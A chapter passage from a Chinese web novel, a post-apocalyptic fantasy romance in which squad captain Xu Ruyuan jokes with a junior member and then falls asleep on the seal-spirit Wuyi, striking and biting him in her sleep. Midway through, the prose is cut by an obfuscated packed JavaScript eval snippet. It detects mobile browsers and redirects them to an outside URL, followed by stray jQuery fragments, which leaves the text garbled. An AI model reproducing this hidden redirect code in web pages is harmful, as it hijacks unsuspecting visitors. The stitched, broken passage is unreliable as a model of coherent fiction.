在清剿队重组之后,许如愿的名号在生存保障部中被传得神乎其神。
向来不苟言笑的部长对她客客气气,甚至以自己的名誉向理事会做担保,力排众议,破格将她提拔为清剿队的挂名队长。
有人说她是神秘组织栽培的杀手,有人说她其实也是那群异兽变的,还有人信誓旦旦地保证许如愿是个外星人,因为收到了人类曾经发射外太空的信号,专门跑来拯救这颗陷入末世的星球。
关于她的身份众说纷纭,毕竟谁也无法解释,一个绑定了废柴系统的低等公民,到底是怎么拥有强悍到近乎恐怖的战斗力。
不过传闻归传闻,在大多数队员眼中,这位挂名队长私下里并没有什么架子。她性格随和友善,能力跟部长一样可靠,还经常给一些年纪小的队员投喂自己做的甜品。
曲陵霄有幸被她投喂过两次,也因此在哥哥程青竹面前得意忘形了好一阵。
所以在她的印象中,许如愿永远都是强大又温柔的存在,只有在面对污染物的时候,才会露出那种杀意颇重的防备姿态,可是现在……
曲陵霄慌乱地垂下眼,不敢直视那幽深的目光,嗫嚅道:“我、我听别人说的,对不起队长,我说错话了。”
说完,她脚底抹油想开溜,却被许如愿轻松拉了回来。
见她一副天塌了的样子,许如愿有些好笑,故意虎着脸逗她,“听谁说的?嗯?为什么不敢抬头看我?”
无漪在她臂弯里半直起身子,配合地跟着龇牙咧嘴,露出了一脸凶巴巴的表情。
刚刚还兴奋无比的曲陵霄一下子蔫了,耷拉着脑袋,老老实实地把她的情报来源供了出来:“我哥哥的朋友的姐姐的邻居是施工小队的人,来帮您装修的时候听了一耳朵小道消息。”
许如愿沉默了。
她原地停顿了三秒,被这复杂的人际关系绕晕了,“……行吧,等你先回去把这次任务复盘好,再让你部长带你来,就说是我同意的。”
曲陵霄的眼睛倏地亮了起来,“真的吗!”
“假的。”许如愿抱着小海豹作势要走,“赶紧走,别耽误我收工回家。”
她现在期盼下班的心比黑市的小卖部老板还强烈,只想回小木屋好好洗个澡,吃点暖乎乎甜滋滋的东西,再闷头大睡一觉。
无漪呜汪呜汪地附和着,爪子急躁地拍了拍许如愿的肩膀,似乎巴不得让她赶紧离开。
“队长大人!那咱们约好了啊——”
走出了快十几米的距离,曲陵霄激动的尖叫还回荡在许如愿耳边。她有些后怕地搓了搓耳廓,心头还残留着被A级污染物叫聋的阴影。
无漪从她怀里跳了下来,变回人形,眼中满是担心,“你的伤要紧吗?还痛不痛?”
“还好。”许如愿答。
浮上来的时候她吃了好几块回血松饼,现在只是耳朵有些隐隐作痛,但是耳道里流的血已经止住了。
无漪没吭声,脚步匆匆加快,满目担忧地跟着她回到了小木屋。
许如愿蹲坐自家门槛上,看着楼佑然在屋外忙忙碌碌地给两个小家伙冲澡,把无漪端给她的回血松饼塞进嘴巴里,没滋没味地嚼了几下。
“还是有点不舒服。”她小声嘀咕,使劲儿揉了几下耳廓,直把耳垂蹂躏成樱桃一般的红润。
“你别这么用力啊。”无漪赶紧把盘子放下,拨开许如愿的手,自己上手来轻轻帮她揉着耳朵。
他的手指带着海水风干的凉意,一下又一下,轻巧地拨弄着耳垂下的皮肤,让许如愿不由发出一声舒坦的长叹。
“哎……”
耳垂边的动作立刻停下,无漪紧张的声音响起:“怎么了,是我弄痛你了吗?”
“没。”许如愿干脆转了个身,把额头抵在无漪的肩胛骨上,含糊不清地夸奖他,“是你弄爽我了,就这个位置,继续按。”
“哦,好。”
无漪认认真真地继续手上的动作,完全没注意到一旁投来的震惊眼神,还贴心问道,“那这样呢,爽吗?”
刚把水管收好的楼佑然:?!!
“你们……”
……在说什么虎狼之词?
奈何两位当事人毫无任何察觉,反而齐齐扭头看向她,“怎么了?”
“没、没事。”楼佑然舌头打结,把水管一扔,迅速带着俩毛茸茸小朋友逃离此地。
许如愿没懂她在欲言又止些什么,也懒得猜,她头往无漪的锁骨处蹭了过去,打了个哈欠。
“好累。”她闭上眼咕哝了一句,脑海中乱七八糟的想法像水中的沙砾般慢慢往下沉,往下沉,最后……安安稳稳地回归一片寂静。
无漪小心收回手,保持着这个支撑的姿势不动,胳膊费劲儿地曲折起一个角度,向身后扒拉了几下,动作轻缓,生怕吵醒肩上倦得睡过去的女人。
在他的不懈努力下,他终于够到了自己想拿的东西——
白皙的指尖攥紧一席薄毯,将它轻轻披在了许如愿身上。无漪第一次做这种事,动作略显笨拙,毯子刚盖上就往下面一滑,被他眼疾手快地按住,又心虚地看了看肩上那人有没有醒。
“唔。”
许如愿眉尖微蹙,少见地没有因这动静惊醒,而是在梦中不满地磨了磨牙,片刻后张嘴,往一处温热的脖颈上咬了下去。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17242990|197821||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
无漪顿时僵在原地,皮肤上刺痛的触感让他浑身绷紧,却一动也不敢动。好在许如愿并没有啃人脖子的癖好,只几秒就松了口,在光滑的皮肤上留下一个小小的牙印。
她头往下滑,把小海豹的胸肌当作了枕头,再次满足地叹了口气,又安静地睡了过去。
砰咚。
砰咚。
砰咚。
梦里好像有人在她耳边一直不停敲鼓,许如愿有些不耐烦地啧了几声,潜意识里觉得这鼓声不能停下,可是那声音又听得实在吵人。
怀里的人眉头越皱越紧,无漪还一点未觉,他感受着许如愿的呼吸和体温,心好像变成了烤箱里柔软蓬松的面团,随着温度的增长慢慢逸散出甜蜜炽热的气息,只等着打开烤箱门的一瞬间……
噗!
一记重拳,直接挥向他狂乱跳动的心脏。无漪睁大眼睛,难以置信地跟怀里被吵醒的许如愿对上了眼神。
许如愿的眼中有烦躁,但更多的是茫然,好像不记得自己刚刚做了什么,只皱着眉盯着无漪渐渐湿润的眼底。
“……你怎么了?我刚刚睡着了。”她赶紧搓了搓脸,声音还有些没睡醒的黏糊,像淋在松饼上的蜂蜜糖浆。
无漪把脸别到一边拼命眨眼,想把眼泪憋回去,摆手示意自己没事。
他不想让许如愿知道刚刚发生的事情,万一她懊恼自己的睡相,以后不愿意睡在他身上了怎么办……
小海豹眼眶湿红,眼睫轻颤,羞怯地捂住自己的脸,一点都不像没事的样子,许如愿甚至怀疑她是不是在梦里把人狠狠欺负了一顿。
“让我看看,别躲。”她强硬地掰过无漪的下巴,语气无奈,“是不是我刚刚睡着之后揍你了?”
这是她在怪谈世界里留下的坏习惯,当时总有老鼠趁她睡着了来偷她的原料,防也防不住,她只好把所有原料全藏在怀里,一有东西近身她就会立刻弹起来动手。
无漪摇头,又点点头,把她的另一只手放在自己的胸膛上,小声开口,“没有揍,就是轻轻碰了一下,不疼。”
手掌下,是蓬勃有力的心跳,和让人安心的体温。许如愿没忍住在肌肉上捏了一把,“嗯,下次我再这样你就把我喊醒。”
说着,她又捏了两把,面上还是一派严肃的样子,“别自己硬抗,知道不。”
无漪后知后觉地发现了她的动作,有些慌乱地移开目光,却也没把那只作乱的手推开,“你、你在干嘛啊……”
他低下头,露出一截修长的脖颈,许如愿不由自主地盯了几秒,忽然发现了什么不对劲的地方。
“你的脖子被谁啃了?”